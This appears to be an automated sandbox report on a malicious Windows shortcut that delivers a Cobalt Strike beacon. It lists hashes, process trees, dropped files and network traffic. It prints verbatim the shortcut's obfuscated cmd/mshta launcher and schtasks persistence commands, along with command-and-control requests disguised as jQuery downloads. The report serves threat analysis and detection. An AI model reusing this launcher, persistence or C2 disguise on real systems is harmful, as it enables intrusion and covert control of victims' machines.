File name:

03-01-1.lnk

Full analysis: https://app.any.run/tasks/1801ba3e-f3f8-4927-b6e3-3a6ec51d2418
Verdict: Malicious activity
Threats:

Cobalt Strike is a legitimate penetration software toolkit developed by Forta. But its cracked versions are widely adopted by bad actors, who use it as a C2 system of choice for targeted attacks.

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Analysis date: March 04, 2020, 15:04:19
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
trojan
cobaltstrike
Indicators:
MIME: application/octet-stream
File info: MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Has command line arguments, Icon number=1, Archive, ctime=Mon Jul 13 22:22:09 2009, mtime=Mon Jul 13 22:22:09 2009, atime=Tue Jul 14 00:14:15 2009, length=301568, window=hidenormalshowminimized
MD5:

0F794D6C6646A260558E9D638AE060C9

SHA1:

2D6FD5FAF485B7FEAD2570FE1E610B34B371B60B

SHA256:

A095924F6F0ED69914A36A8DBCD4F03D5040F61A3C107EDB73A4DD7E0C18AD4B

SSDEEP:

6144:oj3opkA8iSyYGJzPi3m8WKHkdFKPjiGqP:oKJzP0lW77P

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  • MALICIOUS

    • Application was dropped or rewritten from another process

      • 3.exe (PID: 2892)
      • 3.exe (PID: 2936)
      • tencentsoso.exe (PID: 3032)

    • Uses Task Scheduler to run other applications

      • 3.exe (PID: 2936)
      • 3.exe (PID: 2892)

    • Loads the Task Scheduler COM API

      • schtasks.exe (PID: 2720)
      • schtasks.exe (PID: 2896)

    • Loads dropped or rewritten executable

      • SearchProtocolHost.exe (PID: 3548)
      • tencentsoso.exe (PID: 3032)

    • Connects to CnC server

      • tencentsoso.exe (PID: 3032)

    • COBALTSTRIKE was detected

      • tencentsoso.exe (PID: 3032)

  • SUSPICIOUS

    • Starts CMD.EXE for commands execution

      • cmd.exe (PID: 304)

    • Executed via WMI

      • 3.exe (PID: 2892)
      • 3.exe (PID: 2936)
      • cmd.exe (PID: 2820)
      • cmd.exe (PID: 2880)

    • Starts MSHTA.EXE for opening HTA or HTMLS files

      • cmd.exe (PID: 304)

    • Executable content was dropped or overwritten

      • mshta.exe (PID: 2556)
      • mshta.exe (PID: 940)
      • 3.exe (PID: 2936)
      • 3.exe (PID: 2892)

    • Starts Microsoft Office Application

      • cmd.exe (PID: 2880)
      • cmd.exe (PID: 2820)

    • Executed via Task Scheduler

      • tencentsoso.exe (PID: 3032)

    • Reads Internet Cache Settings

      • tencentsoso.exe (PID: 3032)

  • INFO

    • Reads internet explorer settings

      • mshta.exe (PID: 2556)
      • mshta.exe (PID: 940)

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2876)
      • WINWORD.EXE (PID: 3988)

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2876)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.lnk | Windows Shortcut (100)

EXIF

LNK

Flags: IDList, LinkInfo, Description, RelativePath, CommandArgs, IconFile, Unicode, ExpString
FileAttributes: Archive
CreateDate: 2009:07:14 01:22:09+02:00
AccessDate: 2009:07:14 01:22:09+02:00
ModifyDate: 2009:07:14 03:14:15+02:00
TargetFileSize: 301568
IconIndex: 1
RunWindow: Show Minimized No Activate
HotKey: (none)
TargetFileDOSName: cmd.exe
DriveType: Fixed Disk
VolumeLabel: -
LocalBasePath: C:\Windows\System32\cmd.exe
Description: 03-01-1.lnk
RelativePath: ..\..\..\..\Windows\System32\cmd.exe
CommandLineArguments: /c f%windir:~-3,1%%PUBLIC:~-9,1% %x in (%temp%=%cd%) do f%windir:~-3,1%%PUBLIC:~-9,1% /f "delims==" %i in ('dir "%x\03-01-1.lnk" /s /b') do start %TEMP:~-2,1%%windir:~-1,1%h%TEMP:~-13,1%%TEMP:~-7,1%.exe "%i"
IconFileName: %SystemRoot%\system32\SHELL32.dll
MachineID: cia-at28--planc
No data.
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Total processes
54
Monitored processes
15
Malicious processes
3
Suspicious processes
1

Behavior graph

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start cmd.exe no specs cmd.exe no specs mshta.exe cmd.exe no specs mshta.exe 3.exe 3.exe cmd.exe no specs cmd.exe no specs schtasks.exe no specs schtasks.exe no specs searchprotocolhost.exe no specs winword.exe no specs winword.exe no specs #COBALTSTRIKE tencentsoso.exe

Process information

PID
CMD
Path
Indicators
Parent process
304"C:\Windows\System32\cmd.exe" /c f%windir:~-3,1%%PUBLIC:~-9,1% %x in (C:\Users\admin\AppData\Local\Temp=%cd%) do f%windir:~-3,1%%PUBLIC:~-9,1% /f "delims==" %i in ('dir "%x\03-01-1.lnk" /s /b') do start %TEMP:~-2,1%%windir:~-1,1%h%TEMP:~-13,1%%TEMP:~-7,1%.exe "%i"C:\Windows\System32\cmd.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
940mshta.exe "C:\Users\admin\AppData\Local\Temp\03-01-1.lnk"C:\Windows\system32\mshta.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
11.00.9600.16428 (winblue_gdr.131013-1700)
Modules
Images
c:\windows\system32\mshta.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\iertutil.dll
c:\windows\system32\api-ms-win-downlevel-version-l1-1-0.dll
1696C:\Windows\system32\cmd.exe /c dir "C:\Users\admin\AppData\Local\Temp\03-01-1.lnk" /s /bC:\Windows\system32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2556mshta.exe "C:\Users\admin\AppData\Local\Temp\03-01-1.lnk"C:\Windows\system32\mshta.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
11.00.9600.16428 (winblue_gdr.131013-1700)
Modules
Images
c:\windows\system32\mshta.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\iertutil.dll
c:\windows\system32\api-ms-win-downlevel-version-l1-1-0.dll
2720"C:\Windows\System32\schtasks.exe" /F /Create /TN Tencentid /sc minute /MO 1 /TR C:\Users\Public\Music\tencentsoso.exeC:\Windows\System32\schtasks.exe—3.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
2820cmd.exe /c "C:\Users\admin\AppData\Local\Temp\03-01-1.docx"C:\Windows\system32\cmd.exe—wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2876"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\03-01-1.docx"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\winword.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll
2880cmd.exe /c "C:\Users\admin\AppData\Local\Temp\03-01-1.docx"C:\Windows\system32\cmd.exe—wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2892C:\Users\admin\AppData\Local\Temp\3.exeC:\Users\admin\AppData\Local\Temp\3.exe
wmiprvse.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\users\admin\appdata\local\temp\3.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\shell32.dll
2896"C:\Windows\System32\schtasks.exe" /F /Create /TN Tencentid /sc minute /MO 1 /TR C:\Users\Public\Music\tencentsoso.exeC:\Windows\System32\schtasks.exe—3.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
Total events
3 379
Read events
2 338
Write events
710
Delete events
331

Modification events

(PID) Process:(940) mshta.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
(PID) Process:(940) mshta.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
1
(PID) Process:(2556) mshta.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
(PID) Process:(2556) mshta.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
1
(PID) Process:(2556) mshta.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
Operation:writeName:CachePrefix
Value:
(PID) Process:(2556) mshta.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(2556) mshta.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
(PID) Process:(2936) 3.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
(PID) Process:(2936) 3.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
1
(PID) Process:(2892) 3.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
Executable files
6
Suspicious files
4
Text files
1
Unknown types
2

Dropped files

PID
Process
Filename
Type
2876WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR7680.tmp.cvr —
MD5:—
SHA256:—
3988WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR7681.tmp.cvr —
MD5:—
SHA256:—
2876WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{82618090-9AC0-45AA-91ED-57B9A2B7959C}.tmp —
MD5:—
SHA256:—
2876WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{63088BF3-E96C-47CA-BB3D-9CE5D62E75EE}.tmp —
MD5:—
SHA256:—
2876WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{BB169BFA-65D2-4919-87A1-530E882E6B6C}.tmp —
MD5:—
SHA256:—
3988WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRC0000.tmp —
MD5:—
SHA256:—
3988WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{9947260D-AB6D-4F1F-AD43-04E69ABFBA82}.tmp —
MD5:—
SHA256:—
29363.exeC:\Users\Public\Music\CIA.AT28binary
MD5:—
SHA256:—
2556mshta.exeC:\Users\admin\AppData\Local\Temp\3.exeexecutable
MD5:—
SHA256:—
940mshta.exeC:\Users\admin\AppData\Local\Temp\03-01-1.docxdocument
MD5:—
SHA256:—
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HTTP(S) requests
4
TCP/UDP connections
4
DNS requests
0
Threats
3

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3032
tencentsoso.exe
GET
200
123.51.185.75:80
http://code.jquery.com/jquery-3.3.1.slim.min.js
TW
s
214 Kb
malicious
3032
tencentsoso.exe
GET
200
123.51.185.75:80
http://code.jquery.com/jquery-3.3.1.min.js
TW
text
5.41 Kb
malicious
3032
tencentsoso.exe
GET
200
123.51.185.75:80
http://code.jquery.com/jquery-3.3.1.min.js
TW
text
5.41 Kb
malicious
3032
tencentsoso.exe
GET
200
123.51.185.75:80
http://code.jquery.com/jquery-3.3.1.min.js
TW
text
5.41 Kb
malicious
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Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3032
tencentsoso.exe
123.51.185.75:80
—
New Century InfoComm Tech Co., Ltd.
TW
malicious

DNS requests

No data

Threats

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Process
Message
tencentsoso.exe
CIA-Don't analyze!!AT28!!
tencentsoso.exe
C:\Users\Public\Music\
tencentsoso.exe
C:\Users\Public\Music\tencentsoso.exe
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